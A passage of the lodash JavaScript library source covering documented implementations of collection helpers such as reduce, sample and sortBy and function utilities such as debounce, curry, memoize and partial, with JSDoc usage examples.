     * value. The iteratee is invoked with four arguments:
     * (accumulator, value, index|key, collection).
     *
     * Many lodash methods are guarded to work as iteratees for methods like
     * `_.reduce`, `_.reduceRight`, and `_.transform`.
     *
     * The guarded methods are:
     * `assign`, `defaults`, `defaultsDeep`, `includes`, `merge`, `orderBy`,
     * and `sortBy`
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @param {*} [accumulator] The initial value.
     * @returns {*} Returns the accumulated value.
     * @see _.reduceRight
     * @example
     *
     * _.reduce([1, 2], function(sum, n) {
     *   return sum + n;
     * }, 0);
     * // => 3
     *
     * _.reduce({ 'a': 1, 'b': 2, 'c': 1 }, function(result, value, key) {
     *   (result[value] || (result[value] = [])).push(key);
     *   return result;
     * }, {});
     * // => { '1': ['a', 'c'], '2': ['b'] } (iteration order is not guaranteed)
     */
    function reduce(collection, iteratee, accumulator) {
      var func = isArray(collection) ? arrayReduce : baseReduce,
          initAccum = arguments.length < 3;

      return func(collection, getIteratee(iteratee, 4), accumulator, initAccum, baseEach);
    }

    /**
     * This method is like `_.reduce` except that it iterates over elements of
     * `collection` from right to left.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @param {*} [accumulator] The initial value.
     * @returns {*} Returns the accumulated value.
     * @see _.reduce
     * @example
     *
     * var array = [[0, 1], [2, 3], [4, 5]];
     *
     * _.reduceRight(array, function(flattened, other) {
     *   return flattened.concat(other);
     * }, []);
     * // => [4, 5, 2, 3, 0, 1]
     */
    function reduceRight(collection, iteratee, accumulator) {
      var func = isArray(collection) ? arrayReduceRight : baseReduce,
          initAccum = arguments.length < 3;

      return func(collection, getIteratee(iteratee, 4), accumulator, initAccum, baseEachRight);
    }

    /**
     * The opposite of `_.filter`; this method returns the elements of `collection`
     * that `predicate` does **not** return truthy for.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new filtered array.
     * @see _.filter
     * @example
     *
     * var users = [
     *   { 'user': 'barney', 'age': 36, 'active': false },
     *   { 'user': 'fred',   'age': 40, 'active': true }
     * ];
     *
     * _.reject(users, function(o) { return !o.active; });
     * // => objects for ['fred']
     *
     * // The `_.matches` iteratee shorthand.
     * _.reject(users, { 'age': 40, 'active': true });
     * // => objects for ['barney']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.reject(users, ['active', false]);
     * // => objects for ['fred']
     *
     * // The `_.property` iteratee shorthand.
     * _.reject(users, 'active');
     * // => objects for ['barney']
     */
    function reject(collection, predicate) {
      var func = isArray(collection) ? arrayFilter : baseFilter;
      return func(collection, negate(getIteratee(predicate, 3)));
    }

    /**
     * Gets a random element from `collection`.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to sample.
     * @returns {*} Returns the random element.
     * @example
     *
     * _.sample([1, 2, 3, 4]);
     * // => 2
     */
    function sample(collection) {
      var func = isArray(collection) ? arraySample : baseSample;
      return func(collection);
    }

    /**
     * Gets `n` random elements at unique keys from `collection` up to the
     * size of `collection`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to sample.
     * @param {number} [n=1] The number of elements to sample.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the random elements.
     * @example
     *
     * _.sampleSize([1, 2, 3], 2);
     * // => [3, 1]
     *
     * _.sampleSize([1, 2, 3], 4);
     * // => [2, 3, 1]
     */
    function sampleSize(collection, n, guard) {
      if ((guard ? isIterateeCall(collection, n, guard) : n === undefined)) {
        n = 1;
      } else {
        n = toInteger(n);
      }
      var func = isArray(collection) ? arraySampleSize : baseSampleSize;
      return func(collection, n);
    }

    /**
     * Creates an array of shuffled values, using a version of the
     * [Fisher-Yates shuffle](https://en.wikipedia.org/wiki/Fisher-Yates_shuffle).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to shuffle.
     * @returns {Array} Returns the new shuffled array.
     * @example
     *
     * _.shuffle([1, 2, 3, 4]);
     * // => [4, 1, 3, 2]
     */
    function shuffle(collection) {
      var func = isArray(collection) ? arrayShuffle : baseShuffle;
      return func(collection);
    }

    /**
     * Gets the size of `collection` by returning its length for array-like
     * values or the number of own enumerable string keyed properties for objects.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object|string} collection The collection to inspect.
     * @returns {number} Returns the collection size.
     * @example
     *
     * _.size([1, 2, 3]);
     * // => 3
     *
     * _.size({ 'a': 1, 'b': 2 });
     * // => 2
     *
     * _.size('pebbles');
     * // => 7
     */
    function size(collection) {
      if (collection == null) {
        return 0;
      }
      if (isArrayLike(collection)) {
        return isString(collection) ? stringSize(collection) : collection.length;
      }
      var tag = getTag(collection);
      if (tag == mapTag || tag == setTag) {
        return collection.size;
      }
      return baseKeys(collection).length;
    }

    /**
     * Checks if `predicate` returns truthy for **any** element of `collection`.
     * Iteration is stopped once `predicate` returns truthy. The predicate is
     * invoked with three arguments: (value, index|key, collection).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {boolean} Returns `true` if any element passes the predicate check,
     *  else `false`.
     * @example
     *
     * _.some([null, 0, 'yes', false], Boolean);
     * // => true
     *
     * var users = [
     *   { 'user': 'barney', 'active': true },
     *   { 'user': 'fred',   'active': false }
     * ];
     *
     * // The `_.matches` iteratee shorthand.
     * _.some(users, { 'user': 'barney', 'active': false });
     * // => false
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.some(users, ['active', false]);
     * // => true
     *
     * // The `_.property` iteratee shorthand.
     * _.some(users, 'active');
     * // => true
     */
    function some(collection, predicate, guard) {
      var func = isArray(collection) ? arraySome : baseSome;
      if (guard && isIterateeCall(collection, predicate, guard)) {
        predicate = undefined;
      }
      return func(collection, getIteratee(predicate, 3));
    }

    /**
     * Creates an array of elements, sorted in ascending order by the results of
     * running each element in a collection thru each iteratee. This method
     * performs a stable sort, that is, it preserves the original sort order of
     * equal elements. The iteratees are invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {...(Function|Function[])} [iteratees=[_.identity]]
     *  The iteratees to sort by.
     * @returns {Array} Returns the new sorted array.
     * @example
     *
     * var users = [
     *   { 'user': 'fred',   'age': 48 },
     *   { 'user': 'barney', 'age': 36 },
     *   { 'user': 'fred',   'age': 30 },
     *   { 'user': 'barney', 'age': 34 }
     * ];
     *
     * _.sortBy(users, [function(o) { return o.user; }]);
     * // => objects for [['barney', 36], ['barney', 34], ['fred', 48], ['fred', 30]]
     *
     * _.sortBy(users, ['user', 'age']);
     * // => objects for [['barney', 34], ['barney', 36], ['fred', 30], ['fred', 48]]
     */
    var sortBy = baseRest(function(collection, iteratees) {
      if (collection == null) {
        return [];
      }
      var length = iteratees.length;
      if (length > 1 && isIterateeCall(collection, iteratees[0], iteratees[1])) {
        iteratees = [];
      } else if (length > 2 && isIterateeCall(iteratees[0], iteratees[1], iteratees[2])) {
        iteratees = [iteratees[0]];
      }
      return baseOrderBy(collection, baseFlatten(iteratees, 1), []);
    });

    /*------------------------------------------------------------------------*/

    /**
     * Gets the timestamp of the number of milliseconds that have elapsed since
     * the Unix epoch (1 January 1970 00:00:00 UTC).
     *
     * @static
     * @memberOf _
     * @since 2.4.0
     * @category Date
     * @returns {number} Returns the timestamp.
     * @example
     *
     * _.defer(function(stamp) {
     *   console.log(_.now() - stamp);
     * }, _.now());
     * // => Logs the number of milliseconds it took for the deferred invocation.
     */
    var now = ctxNow || function() {
      return root.Date.now();
    };

    /*------------------------------------------------------------------------*/

    /**
     * The opposite of `_.before`; this method creates a function that invokes
     * `func` once it's called `n` or more times.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {number} n The number of calls before `func` is invoked.
     * @param {Function} func The function to restrict.
     * @returns {Function} Returns the new restricted function.
     * @example
     *
     * var saves = ['profile', 'settings'];
     *
     * var done = _.after(saves.length, function() {
     *   console.log('done saving!');
     * });
     *
     * _.forEach(saves, function(type) {
     *   asyncSave({ 'type': type, 'complete': done });
     * });
     * // => Logs 'done saving!' after the two async saves have completed.
     */
    function after(n, func) {
      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      n = toInteger(n);
      return function() {
        if (--n < 1) {
          return func.apply(this, arguments);
        }
      };
    }

    /**
     * Creates a function that invokes `func`, with up to `n` arguments,
     * ignoring any additional arguments.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Function
     * @param {Function} func The function to cap arguments for.
     * @param {number} [n=func.length] The arity cap.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Function} Returns the new capped function.
     * @example
     *
     * _.map(['6', '8', '10'], _.ary(parseInt, 1));
     * // => [6, 8, 10]
     */
    function ary(func, n, guard) {
      n = guard ? undefined : n;
      n = (func && n == null) ? func.length : n;
      return createWrap(func, WRAP_ARY_FLAG, undefined, undefined, undefined, undefined, n);
    }

    /**
     * Creates a function that invokes `func`, with the `this` binding and arguments
     * of the created function, while it's called less than `n` times. Subsequent
     * calls to the created function return the result of the last `func` invocation.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Function
     * @param {number} n The number of calls at which `func` is no longer invoked.
     * @param {Function} func The function to restrict.
     * @returns {Function} Returns the new restricted function.
     * @example
     *
     * jQuery(element).on('click', _.before(5, addContactToList));
     * // => Allows adding up to 4 contacts to the list.
     */
    function before(n, func) {
      var result;
      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      n = toInteger(n);
      return function() {
        if (--n > 0) {
          result = func.apply(this, arguments);
        }
        if (n <= 1) {
          func = undefined;
        }
        return result;
      };
    }

    /**
     * Creates a function that invokes `func` with the `this` binding of `thisArg`
     * and `partials` prepended to the arguments it receives.
     *
     * The `_.bind.placeholder` value, which defaults to `_` in monolithic builds,
     * may be used as a placeholder for partially applied arguments.
     *
     * **Note:** Unlike native `Function#bind`, this method doesn't set the "length"
     * property of bound functions.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to bind.
     * @param {*} thisArg The `this` binding of `func`.
     * @param {...*} [partials] The arguments to be partially applied.
     * @returns {Function} Returns the new bound function.
     * @example
     *
     * function greet(greeting, punctuation) {
     *   return greeting + ' ' + this.user + punctuation;
     * }
     *
     * var object = { 'user': 'fred' };
     *
     * var bound = _.bind(greet, object, 'hi');
     * bound('!');
     * // => 'hi fred!'
     *
     * // Bound with placeholders.
     * var bound = _.bind(greet, object, _, '!');
     * bound('hi');
     * // => 'hi fred!'
     */
    var bind = baseRest(function(func, thisArg, partials) {
      var bitmask = WRAP_BIND_FLAG;
      if (partials.length) {
        var holders = replaceHolders(partials, getHolder(bind));
        bitmask |= WRAP_PARTIAL_FLAG;
      }
      return createWrap(func, bitmask, thisArg, partials, holders);
    });

    /**
     * Creates a function that invokes the method at `object[key]` with `partials`
     * prepended to the arguments it receives.
     *
     * This method differs from `_.bind` by allowing bound functions to reference
     * methods that may be redefined or don't yet exist. See
     * [Peter Michaux's article](http://peter.michaux.ca/articles/lazy-function-definition-pattern)
     * for more details.
     *
     * The `_.bindKey.placeholder` value, which defaults to `_` in monolithic
     * builds, may be used as a placeholder for partially applied arguments.
     *
     * @static
     * @memberOf _
     * @since 0.10.0
     * @category Function
     * @param {Object} object The object to invoke the method on.
     * @param {string} key The key of the method.
     * @param {...*} [partials] The arguments to be partially applied.
     * @returns {Function} Returns the new bound function.
     * @example
     *
     * var object = {
     *   'user': 'fred',
     *   'greet': function(greeting, punctuation) {
     *     return greeting + ' ' + this.user + punctuation;
     *   }
     * };
     *
     * var bound = _.bindKey(object, 'greet', 'hi');
     * bound('!');
     * // => 'hi fred!'
     *
     * object.greet = function(greeting, punctuation) {
     *   return greeting + 'ya ' + this.user + punctuation;
     * };
     *
     * bound('!');
     * // => 'hiya fred!'
     *
     * // Bound with placeholders.
     * var bound = _.bindKey(object, 'greet', _, '!');
     * bound('hi');
     * // => 'hiya fred!'
     */
    var bindKey = baseRest(function(object, key, partials) {
      var bitmask = WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG;
      if (partials.length) {
        var holders = replaceHolders(partials, getHolder(bindKey));
        bitmask |= WRAP_PARTIAL_FLAG;
      }
      return createWrap(key, bitmask, object, partials, holders);
    });

    /**
     * Creates a function that accepts arguments of `func` and either invokes
     * `func` returning its result, if at least `arity` number of arguments have
     * been provided, or returns a function that accepts the remaining `func`
     * arguments, and so on. The arity of `func` may be specified if `func.length`
     * is not sufficient.
     *
     * The `_.curry.placeholder` value, which defaults to `_` in monolithic builds,
     * may be used as a placeholder for provided arguments.
     *
     * **Note:** This method doesn't set the "length" property of curried functions.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Function
     * @param {Function} func The function to curry.
     * @param {number} [arity=func.length] The arity of `func`.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Function} Returns the new curried function.
     * @example
     *
     * var abc = function(a, b, c) {
     *   return [a, b, c];
     * };
     *
     * var curried = _.curry(abc);
     *
     * curried(1)(2)(3);
     * // => [1, 2, 3]
     *
     * curried(1, 2)(3);
     * // => [1, 2, 3]
     *
     * curried(1, 2, 3);
     * // => [1, 2, 3]
     *
     * // Curried with placeholders.
     * curried(1)(_, 3)(2);
     * // => [1, 2, 3]
     */
    function curry(func, arity, guard) {
      arity = guard ? undefined : arity;
      var result = createWrap(func, WRAP_CURRY_FLAG, undefined, undefined, undefined, undefined, undefined, arity);
      result.placeholder = curry.placeholder;
      return result;
    }

    /**
     * This method is like `_.curry` except that arguments are applied to `func`
     * in the manner of `_.partialRight` instead of `_.partial`.
     *
     * The `_.curryRight.placeholder` value, which defaults to `_` in monolithic
     * builds, may be used as a placeholder for provided arguments.
     *
     * **Note:** This method doesn't set the "length" property of curried functions.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Function
     * @param {Function} func The function to curry.
     * @param {number} [arity=func.length] The arity of `func`.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Function} Returns the new curried function.
     * @example
     *
     * var abc = function(a, b, c) {
     *   return [a, b, c];
     * };
     *
     * var curried = _.curryRight(abc);
     *
     * curried(3)(2)(1);
     * // => [1, 2, 3]
     *
     * curried(2, 3)(1);
     * // => [1, 2, 3]
     *
     * curried(1, 2, 3);
     * // => [1, 2, 3]
     *
     * // Curried with placeholders.
     * curried(3)(1, _)(2);
     * // => [1, 2, 3]
     */
    function curryRight(func, arity, guard) {
      arity = guard ? undefined : arity;
      var result = createWrap(func, WRAP_CURRY_RIGHT_FLAG, undefined, undefined, undefined, undefined, undefined, arity);
      result.placeholder = curryRight.placeholder;
      return result;
    }

    /**
     * Creates a debounced function that delays invoking `func` until after `wait`
     * milliseconds have elapsed since the last time the debounced function was
     * invoked. The debounced function comes with a `cancel` method to cancel
     * delayed `func` invocations and a `flush` method to immediately invoke them.
     * Provide `options` to indicate whether `func` should be invoked on the
     * leading and/or trailing edge of the `wait` timeout. The `func` is invoked
     * with the last arguments provided to the debounced function. Subsequent
     * calls to the debounced function return the result of the last `func`
     * invocation.
     *
     * **Note:** If `leading` and `trailing` options are `true`, `func` is
     * invoked on the trailing edge of the timeout only if the debounced function
     * is invoked more than once during the `wait` timeout.
     *
     * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
     * until to the next tick, similar to `setTimeout` with a timeout of `0`.
     *
     * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
     * for details over the differences between `_.debounce` and `_.throttle`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to debounce.
     * @param {number} [wait=0] The number of milliseconds to delay.
     * @param {Object} [options={}] The options object.
     * @param {boolean} [options.leading=false]
     *  Specify invoking on the leading edge of the timeout.
     * @param {number} [options.maxWait]
     *  The maximum time `func` is allowed to be delayed before it's invoked.
     * @param {boolean} [options.trailing=true]
     *  Specify invoking on the trailing edge of the timeout.
     * @returns {Function} Returns the new debounced function.
     * @example
     *
     * // Avoid costly calculations while the window size is in flux.
     * jQuery(window).on('resize', _.debounce(calculateLayout, 150));
     *
     * // Invoke `sendMail` when clicked, debouncing subsequent calls.
     * jQuery(element).on('click', _.debounce(sendMail, 300, {
     *   'leading': true,
     *   'trailing': false
     * }));
     *
     * // Ensure `batchLog` is invoked once after 1 second of debounced calls.
     * var debounced = _.debounce(batchLog, 250, { 'maxWait': 1000 });
     * var source = new EventSource('/stream');
     * jQuery(source).on('message', debounced);
     *
     * // Cancel the trailing debounced invocation.
     * jQuery(window).on('popstate', debounced.cancel);
     */
    function debounce(func, wait, options) {
      var lastArgs,
          lastThis,
          maxWait,
          result,
          timerId,
          lastCallTime,
          lastInvokeTime = 0,
          leading = false,
          maxing = false,
          trailing = true;

      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      wait = toNumber(wait) || 0;
      if (isObject(options)) {
        leading = !!options.leading;
        maxing = 'maxWait' in options;
        maxWait = maxing ? nativeMax(toNumber(options.maxWait) || 0, wait) : maxWait;
        trailing = 'trailing' in options ? !!options.trailing : trailing;
      }

      function invokeFunc(time) {
        var args = lastArgs,
            thisArg = lastThis;

        lastArgs = lastThis = undefined;
        lastInvokeTime = time;
        result = func.apply(thisArg, args);
        return result;
      }

      function leadingEdge(time) {
        // Reset any `maxWait` timer.
        lastInvokeTime = time;
        // Start the timer for the trailing edge.
        timerId = setTimeout(timerExpired, wait);
        // Invoke the leading edge.
        return leading ? invokeFunc(time) : result;
      }

      function remainingWait(time) {
        var timeSinceLastCall = time - lastCallTime,
            timeSinceLastInvoke = time - lastInvokeTime,
            timeWaiting = wait - timeSinceLastCall;

        return maxing
          ? nativeMin(timeWaiting, maxWait - timeSinceLastInvoke)
          : timeWaiting;
      }

      function shouldInvoke(time) {
        var timeSinceLastCall = time - lastCallTime,
            timeSinceLastInvoke = time - lastInvokeTime;

        // Either this is the first call, activity has stopped and we're at the
        // trailing edge, the system time has gone backwards and we're treating
        // it as the trailing edge, or we've hit the `maxWait` limit.
        return (lastCallTime === undefined || (timeSinceLastCall >= wait) ||
          (timeSinceLastCall < 0) || (maxing && timeSinceLastInvoke >= maxWait));
      }

      function timerExpired() {
        var time = now();
        if (shouldInvoke(time)) {
          return trailingEdge(time);
        }
        // Restart the timer.
        timerId = setTimeout(timerExpired, remainingWait(time));
      }

      function trailingEdge(time) {
        timerId = undefined;

        // Only invoke if we have `lastArgs` which means `func` has been
        // debounced at least once.
        if (trailing && lastArgs) {
          return invokeFunc(time);
        }
        lastArgs = lastThis = undefined;
        return result;
      }

      function cancel() {
        if (timerId !== undefined) {
          clearTimeout(timerId);
        }
        lastInvokeTime = 0;
        lastArgs = lastCallTime = lastThis = timerId = undefined;
      }

      function flush() {
        return timerId === undefined ? result : trailingEdge(now());
      }

      function debounced() {
        var time = now(),
            isInvoking = shouldInvoke(time);

        lastArgs = arguments;
        lastThis = this;
        lastCallTime = time;

        if (isInvoking) {
          if (timerId === undefined) {
            return leadingEdge(lastCallTime);
          }
          if (maxing) {
            // Handle invocations in a tight loop.
            clearTimeout(timerId);
            timerId = setTimeout(timerExpired, wait);
            return invokeFunc(lastCallTime);
          }
        }
        if (timerId === undefined) {
          timerId = setTimeout(timerExpired, wait);
        }
        return result;
      }
      debounced.cancel = cancel;
      debounced.flush = flush;
      return debounced;
    }

    /**
     * Defers invoking the `func` until the current call stack has cleared. Any
     * additional arguments are provided to `func` when it's invoked.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to defer.
     * @param {...*} [args] The arguments to invoke `func` with.
     * @returns {number} Returns the timer id.
     * @example
     *
     * _.defer(function(text) {
     *   console.log(text);
     * }, 'deferred');
     * // => Logs 'deferred' after one millisecond.
     */
    var defer = baseRest(function(func, args) {
      return baseDelay(func, 1, args);
    });

    /**
     * Invokes `func` after `wait` milliseconds. Any additional arguments are
     * provided to `func` when it's invoked.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to delay.
     * @param {number} wait The number of milliseconds to delay invocation.
     * @param {...*} [args] The arguments to invoke `func` with.
     * @returns {number} Returns the timer id.
     * @example
     *
     * _.delay(function(text) {
     *   console.log(text);
     * }, 1000, 'later');
     * // => Logs 'later' after one second.
     */
    var delay = baseRest(function(func, wait, args) {
      return baseDelay(func, toNumber(wait) || 0, args);
    });

    /**
     * Creates a function that invokes `func` with arguments reversed.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Function
     * @param {Function} func The function to flip arguments for.
     * @returns {Function} Returns the new flipped function.
     * @example
     *
     * var flipped = _.flip(function() {
     *   return _.toArray(arguments);
     * });
     *
     * flipped('a', 'b', 'c', 'd');
     * // => ['d', 'c', 'b', 'a']
     */
    function flip(func) {
      return createWrap(func, WRAP_FLIP_FLAG);
    }

    /**
     * Creates a function that memoizes the result of `func`. If `resolver` is
     * provided, it determines the cache key for storing the result based on the
     * arguments provided to the memoized function. By default, the first argument
     * provided to the memoized function is used as the map cache key. The `func`
     * is invoked with the `this` binding of the memoized function.
     *
     * **Note:** The cache is exposed as the `cache` property on the memoized
     * function. Its creation may be customized by replacing the `_.memoize.Cache`
     * constructor with one whose instances implement the
     * [`Map`](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object)
     * method interface of `clear`, `delete`, `get`, `has`, and `set`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to have its output memoized.
     * @param {Function} [resolver] The function to resolve the cache key.
     * @returns {Function} Returns the new memoized function.
     * @example
     *
     * var object = { 'a': 1, 'b': 2 };
     * var other = { 'c': 3, 'd': 4 };
     *
     * var values = _.memoize(_.values);
     * values(object);
     * // => [1, 2]
     *
     * values(other);
     * // => [3, 4]
     *
     * object.a = 2;
     * values(object);
     * // => [1, 2]
     *
     * // Modify the result cache.
     * values.cache.set(object, ['a', 'b']);
     * values(object);
     * // => ['a', 'b']
     *
     * // Replace `_.memoize.Cache`.
     * _.memoize.Cache = WeakMap;
     */
    function memoize(func, resolver) {
      if (typeof func != 'function' || (resolver != null && typeof resolver != 'function')) {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      var memoized = function() {
        var args = arguments,
            key = resolver ? resolver.apply(this, args) : args[0],
            cache = memoized.cache;

        if (cache.has(key)) {
          return cache.get(key);
        }
        var result = func.apply(this, args);
        memoized.cache = cache.set(key, result) || cache;
        return result;
      };
      memoized.cache = new (memoize.Cache || MapCache);
      return memoized;
    }

    // Expose `MapCache`.
    memoize.Cache = MapCache;

    /**
     * Creates a function that negates the result of the predicate `func`. The
     * `func` predicate is invoked with the `this` binding and arguments of the
     * created function.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Function
     * @param {Function} predicate The predicate to negate.
     * @returns {Function} Returns the new negated function.
     * @example
     *
     * function isEven(n) {
     *   return n % 2 == 0;
     * }
     *
     * _.filter([1, 2, 3, 4, 5, 6], _.negate(isEven));
     * // => [1, 3, 5]
     */
    function negate(predicate) {
      if (typeof predicate != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      return function() {
        var args = arguments;
        switch (args.length) {
          case 0: return !predicate.call(this);
          case 1: return !predicate.call(this, args[0]);
          case 2: return !predicate.call(this, args[0], args[1]);
          case 3: return !predicate.call(this, args[0], args[1], args[2]);
        }
        return !predicate.apply(this, args);
      };
    }

    /**
     * Creates a function that is restricted to invoking `func` once. Repeat calls
     * to the function return the value of the first invocation. The `func` is
     * invoked with the `this` binding and arguments of the created function.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to restrict.
     * @returns {Function} Returns the new restricted function.
     * @example
     *
     * var initialize = _.once(createApplication);
     * initialize();
     * initialize();
     * // => `createApplication` is invoked once
     */
    function once(func) {
      return before(2, func);
    }

    /**
     * Creates a function that invokes `func` with its arguments transformed.
     *
     * @static
     * @since 4.0.0
     * @memberOf _
     * @category Function
     * @param {Function} func The function to wrap.
     * @param {...(Function|Function[])} [transforms=[_.identity]]
     *  The argument transforms.
     * @returns {Function} Returns the new function.
     * @example
     *
     * function doubled(n) {
     *   return n * 2;
     * }
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * var func = _.overArgs(function(x, y) {
     *   return [x, y];
     * }, [square, doubled]);
     *
     * func(9, 3);
     * // => [81, 6]
     *
     * func(10, 5);
     * // => [100, 10]
     */
    var overArgs = castRest(function(func, transforms) {
      transforms = (transforms.length == 1 && isArray(transforms[0]))
        ? arrayMap(transforms[0], baseUnary(getIteratee()))
        : arrayMap(baseFlatten(transforms, 1), baseUnary(getIteratee()));

      var funcsLength = transforms.length;
      return baseRest(function(args) {
        var index = -1,
            length = nativeMin(args.length, funcsLength);

        while (++index < length) {
          args[index] = transforms[index].call(this, args[index]);
        }
        return apply(func, this, args);
      });
    });

    /**
     * Creates a function that invokes `func` with `partials` prepended to the
     * arguments it receives. This method is like `_.bind` except it does **not**
     * alter the `this` binding.
     *
     * The `_.partial.placeholder` value, which defaults to `_` in monolithic
     * builds, may be used as a placeholder for partially applied arguments.
     *
     * **Note:** This method doesn't set the "length" property of partially
     * applied functions.
     *
     * @static
     * @memberOf _
     * @since 0.2.0
     * @category Function
     * @param {Function} func The function to partially apply arguments to.
     * @param {...*} [partials] The arguments to be partially applied.
     * @returns {Function} Returns the new partially applied function.
     * @example
     *
     * function greet(greeting, name) {
     *   return greeting + ' ' + name;
     * }
     *
     * var sayHelloTo = _.partial(greet, 'hello');
     * sayHelloTo('fred');
     * // => 'hello fred'
     *
     * // Partially applied with placeholders.
     * var greetFred = _.partial(greet, _, 'fred');
     * greetFred('hi');
     * // => 'hi fred'
     */
    var partial = baseRest(function(func, partials) {
      var holders = replaceHolders(partials, getHolder(partial));
      return createWrap(func, WRAP_PARTIAL_FLAG, undefined, partials, holders);
    });

    /**
     * This method is like `_.partial` except that partially applied arguments
     * are appended to the arguments it receives.
     *
     * The `_.partialRight.placeholder` value, which defaults to `_` in monolithic
     * builds, may be used as a placeholder for partially applied arguments.
     *
     * **Note:** This method doesn't set the "length" property of partially
     * applied functions.
     *
     * @static
     * @memberOf _
     * @since 1.0.0
     * @category Function
     * @param {Function} func The function to partially apply arguments to.
     * @param {...*} [partials] The arguments to be partially applied.
     * @returns {Function} Returns the new partially applied function.
     * @example
     *
     * function greet(greeting, name) {
     *   return greeting + ' ' + name;
     * }
     *
     * var greetFred = _.partialRight(greet, 'fred');
     * greetFred('hi');
     * // => 'hi fred'
     *
     * // Partially applied with placeholders.
     * var sayHelloTo = _.partialRight(greet, 'hello', _);
     * sayHelloTo('fred');
     * // => 'hello fred'
     */
    var partialRight = baseRest(function(func, partials) {
      var holders = replaceHolders(partials, getHolder(partialRight));
      return createWrap(func, WRAP_PARTIAL_RIGHT_FLAG, undefined, partials, holders);
    });

    /**
     * Creates a function that invokes `func` with arguments arranged according
     * to the specified `indexes` where the argument value at the first index is
     * provided as the first argument, the argument value at the second index is
     * provided as the second argument, and so on.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Function
     * @param {Function} func The function to rearrange arguments for.
     * @param {...(number|number[])} indexes The arranged argument indexes.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var rearged = _.rearg(function(a, b, c) {
     *   return [a, b, c];
     * }, [2, 0, 1]);
     *
     * rearged('b', 'c', 'a')
     * // => ['a', 'b', 'c']
     */
    var rearg = flatRest(function(func, indexes) {
      return createWrap(func, WRAP_REARG_FLAG, undefined, undefined, undefined, indexes);
    });

    /**
     * Creates a function that invokes `func` with the `this` binding of the
     * created function and arguments from `start` and beyond provided as
     * an array.
     *
     * **Note:** This method is based on the
     * [rest parameter](https://mdn.io/rest_parameters).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Function
     * @param {Function} func The function to apply a rest parameter to.
     * @param {number} [start=func.length-1] The start position of the rest parameter.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var say = _.rest(function(what, names) {
     *   return what + ' ' + _.initial(names).join(', ') +
     *     (_.size(names) > 1 ? ', & ' : '') + _.last(names);
     * });
     *
     * say('hello', 'fred', 'barney', 'pebbles');
     * // => 'hello fred, barney, & pebbles'
     */
    function rest(func, start) {
      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      start = start === undefined ? start : toInteger(start);
      return baseRest(func, start);
    }

    /**
     * Creates a function that invokes `func` with the `this` binding of the
     * create function and an array of arguments much like
     * [`Function#apply`](http://www.ecma-international.org/ecma-262/7.0/#sec-function.prototype.apply).
     *
     * **Note:** This method is based on the
     * [spread operator](https://mdn.io/spread_operator).
     *
     * @static
     * @memberOf _
     * @since 3.2.0
     * @category Function
     * @param {Function} func The function to spread arguments over.
     * @param {number} [start=0] The start position of the spread.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var say = _.spread(function(who, what) {
     *   return who + ' says ' + what;
     * });
     *
     * say(['fred', 'hello']);
